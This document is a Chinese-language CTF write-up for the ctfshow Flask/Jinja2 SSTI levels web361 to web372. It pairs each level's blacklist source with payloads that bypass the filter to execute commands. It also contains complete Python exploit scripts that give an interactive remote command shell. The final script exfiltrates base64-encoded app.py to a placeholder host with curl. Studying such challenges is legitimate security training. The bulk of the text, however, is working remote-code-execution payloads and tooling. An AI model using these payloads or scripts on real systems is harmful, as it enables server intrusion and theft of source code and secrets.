Practice - CTFSHOW WEB入门 SSTI篇

web361

提示名字就是考点,测试 /?name=a 可以看到 Hello a,改成 {{2*2}} 返回 4 确认存在漏洞。
payload: /?name={{config.__class__.__init__.__globals__['os'].popen('tac /flag').read()}}

web362

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask
from flask import request
from flask import render_template_string
import re

app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"2|3",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

这个 payload 还能用 /?name={{g.pop.__globals__.__builtins__['__import__']('os').popen('env').read()}}

web363

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask
from flask import request
from flask import render_template_string
import re

app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

可以用 request.args.x 传参代替字符串
payload: /?name={{g.pop.__globals__.__builtins__[request.args.x](request.args.xx).popen(request.args.xxx).read()}}&x=__import__&xx=os&xxx=env

web364

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask
from flask import request
from flask import render_template_string
import re

app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

可以用 request.cookies 代替 request.args,还尝试过 request.form 构造畸形 get 流量获取参数未果。

1
2
3
4
5
6
7
8
9
GET /?name={{g.pop.__globals__.__builtins__[request.cookies.x](request.cookies.xx).popen(request.cookies.xxx).read()}} HTTP/1.1
Host: bc8c5417-a4f0-449c-8da2-bde85c2f3291.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: x=__import__;xx=os;xxx=env
Connection: close

web365

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask
from flask import request
from flask import render_template_string
import re

app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

__getitem__ 可以代替方括号。

1
2
3
4
5
6
7
8
9
GET /?name={{g.pop.__globals__.__builtins__.__getitem__(request.cookies.x)(request.cookies.xx).popen(request.cookies.xxx).read()}} HTTP/1.1
Host: e75ae1aa-d653-4ea0-b41c-f104ef89fd50.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: x=__import__;xx=os;xxx=env
Connection: close

web366-367

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask
from flask import request
from flask import render_template_string
import re

app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

|attr 可代替 .,找链子的时候注意区别 __getitem__|attr

1
2
3
4
5
6
7
8
9
GET /?name={{a|attr(request.cookies.c1)|attr(request.cookies.c2)|attr(request.cookies.c3)(request.cookies.c4)|attr(request.cookies.c3)(request.cookies.c5)(request.cookies.x)}} HTTP/1.1
Host: b408e5e6-251d-4c03-abeb-a52ca5565a60.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: x=__import__('os').popen('env').read();d1=__dir__;c5=eval;c4=__builtins__;c1=__init__;c2=__globals__;c3=__getitem__;
Connection: close

web368

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask
from flask import request
from flask import render_template_string
import re

app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

可用 {% print(payload) %} 代替 {{ payload }}

1
2
3
4
5
6
7
8
9
10
11
GET /?name={%print(a|attr(request.cookies.c1)|attr(request.cookies.c2)|attr(request.cookies.c3)(request.cookies.c4)|attr(request.cookies.c3)(request.cookies.c5)(request.cookies.x))%} HTTP/1.1
Host: e0c12d2d-4e7b-4cd6-9a4c-52864b001b98.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: x=__import__('os').popen('env').read();d1=__dir__;c5=eval;c4=__builtins__;c1=__init__;c2=__globals__;c3=__getitem__;
Connection: close


web369

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask
from flask import request
from flask import render_template_string
from flask import session
import re

app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{|request",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

没了 request,要自己拼字符了。
https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters 这些 filters 或许用得到。。。

偷了 generator object select_or_reject_

1
2
3
4
5
6
7
8
9
10
11
12
13
{% set pop=dict(p=a,op=a)|join %} #pop
{% set lo=(x|reject|string|list)|attr(pop)(24)%} #_
{% set c1=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %} #__init__
{% set c2=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %} #__globals__
{% set c3=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %} #__getitem__
{% set c4=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %} #__builtins__
{% set c5=dict(ev=a,al=a)|join %} #eval
{% set sc=a|pprint|pprint|list|attr(pop)(0) %} #' pprint filter 在字符串上会加上单引号
{% set lb=()|string|list|attr(pop)(0)%} #(
{% set rb=()|string|list|attr(pop)(1) %} #)
{% set point=3.14|string|list|attr(pop)(1) %} #.
{% set x=(lo,lo,dict(imp=a,ort=a)|join,lo,lo,lb,sc,dict(o=a,s=a)|join,sc,rb,point,dict(po=a,pen=a)|join,lb,sc,dict(en=a,v=a)|join,sc,rb,point,dict(rea=a,d=a)|join,lb,rb)|join %} # __import__('os').popen('env').read()
{% print(a|attr(c1)|attr(c2)|attr(c3)(c4)|attr(c3)(c5)(x)) %} #print(a.__init__.__globals__.__getitem__("__builtins__").__getitem__("eval")("__import__('os').popen('env').read()"))

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import re

import requests

url = "http://2466743f-c88c-40c1-ad8d-063cd51d1b76.challenge.ctf.show/?name="


def build_payload(command: str) -> str:
return """{% set pops=dict(p=a,op=a)|join %}
{% set lo=(x|reject|string|list)|attr(pops)(24)%}
{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}
{% set c2=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}
{% set c3=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}
{% set c4=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}
{% set evas=dict(ev=a,al=a)|join %}
{% set chs=dict(ch=a,r=a)|join %}
{% set chr=a|attr(init)|attr(c2)|attr(c3)(c4)|attr(c3)(chs)%}
{% set eval=a|attr(init)|attr(c2)|attr(c3)(c4)|attr(c3)(evas) %}
{% print(eval((""" + ",".join([f"chr({ord(c)})" for c in f"__import__('os').popen('{command}').read()"]) + """)|join)) %}"""


def run(command: str) -> str:
response = requests.get(url+build_payload(command))
return re.findall(f"h3>(.*?)</h3", response.text, re.S)[0].strip()


while True:
c = input("> ")
print(run(c))

web370

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask
from flask import request
from flask import render_template_string
from flask import session
import re

app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

开始构造数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import re
from typing import List

import requests

url = "http://717d6b1c-8b55-4083-b8af-52d9b0fd1eab.challenge.ctf.show/"


def build_number(num: int) -> str:
result: List[str] = []
index: int = 0
while num > 0:
n: int = num % 10
result.append(f"({num2var(n)}{'*ten'*index})")
num //= 10
index += 1
return "+".join(result)


num2var_dict = {
0: "zero",
1: "one",
2: "two",
3: "three",
4: "four",
5: "five",
6: "six",
7: "seven",
8: "eight",
9: "nine"
}


def num2var(num: int) -> str:
if abs(num) >= 10:
raise Exception("no way")
return num2var_dict[num]


def build_payload(command: str) -> str:
return """{% set one=(a,)|length %}
{% set zero=one-one %}
{% set two=one+one %}
{% set three=one+two %}
{% set four=two*two %}
{% set five=three+two %}
{% set six=three*two %}
{% set seven=one+six %}
{% set eight=four*two %}
{% set nine=one+eight %}
{% set ten=five*two %}
{% set pops=dict(p=a,op=a)|join %}
{% set lo=(x|reject|string|list)|attr(pops)(""" + build_number(24) + """)%}
{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}
{% set cc=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}
{% set ccc=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}
{% set cccc=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}
{% set evas=dict(ev=a,al=a)|join %}
{% set chs=dict(ch=a,r=a)|join %}
{% set chr=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(chs)%}
{% set eval=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(evas) %}
{% print(eval((""" + ",".join([f"chr({build_number(ord(c))})" for c in f"__import__('os').popen('{command}').read()"]) + """)|join)) %}"""


def run(command: str) -> str:
payload = build_payload(command)
response = requests.get(url, params={"name": payload})
print(payload)
return re.findall(f"h3>(.*?)</h3", response.text, re.S)[0].strip()


while True:
c = input("> ")
print(run(c))

web371-372

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from flask import Flask
from flask import request
from flask import render_template_string
from flask import session
import re

app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]|print",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)

不给 print,curl 带外

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import re
from typing import List

import requests

url = "http://39ebd089-1562-497f-bff2-83664f8ae528.challenge.ctf.show/"


def build_number(num: int) -> str:
result: List[str] = []
index: int = 0
while num > 0:
n: int = num % 10
result.append(f"({num2var(n)}{'*ten'*index})")
num //= 10
index += 1
return "+".join(result)


num2var_dict = {
0: "zero",
1: "one",
2: "two",
3: "three",
4: "four",
5: "five",
6: "six",
7: "seven",
8: "eight",
9: "nine"
}


def num2var(num: int) -> str:
if abs(num) >= 10:
raise Exception("no way")
return num2var_dict[num]


def build_payload(code: str) -> str:
return """{% set one=(a,)|length %}
{% set zero=one-one %}
{% set two=one+one %}
{% set three=one+two %}
{% set four=two*two %}
{% set five=three+two %}
{% set six=three*two %}
{% set seven=one+six %}
{% set eight=four*two %}
{% set nine=one+eight %}
{% set ten=five*two %}
{% set pops=dict(p=a,op=a)|join %}
{% set lo=(x|reject|string|list)|attr(pops)(""" + build_number(24) + """)%}
{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}
{% set cc=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}
{% set ccc=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}
{% set cccc=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}
{% set evas=dict(ev=a,al=a)|join %}
{% set chs=dict(ch=a,r=a)|join %}
{% set chr=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(chs)%}
{% set eval=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(evas) %}
{% set b=eval((""" + ",".join([f"chr({build_number(ord(c))})" for c in code]) + """)|join) %}"""


def run(command: str) -> str:
payload = build_payload(command)
response = requests.get(url, params={"name": payload})
print(payload.replace("+", "%2b"))
return re.findall(f"h3>(.*?)</h3", response.text, re.S)[0].strip()


run("__import__('os').popen('curl -F file=`base64 app.py -w 0` http://xxxxx/').read()")

原本想弹 shell 的。。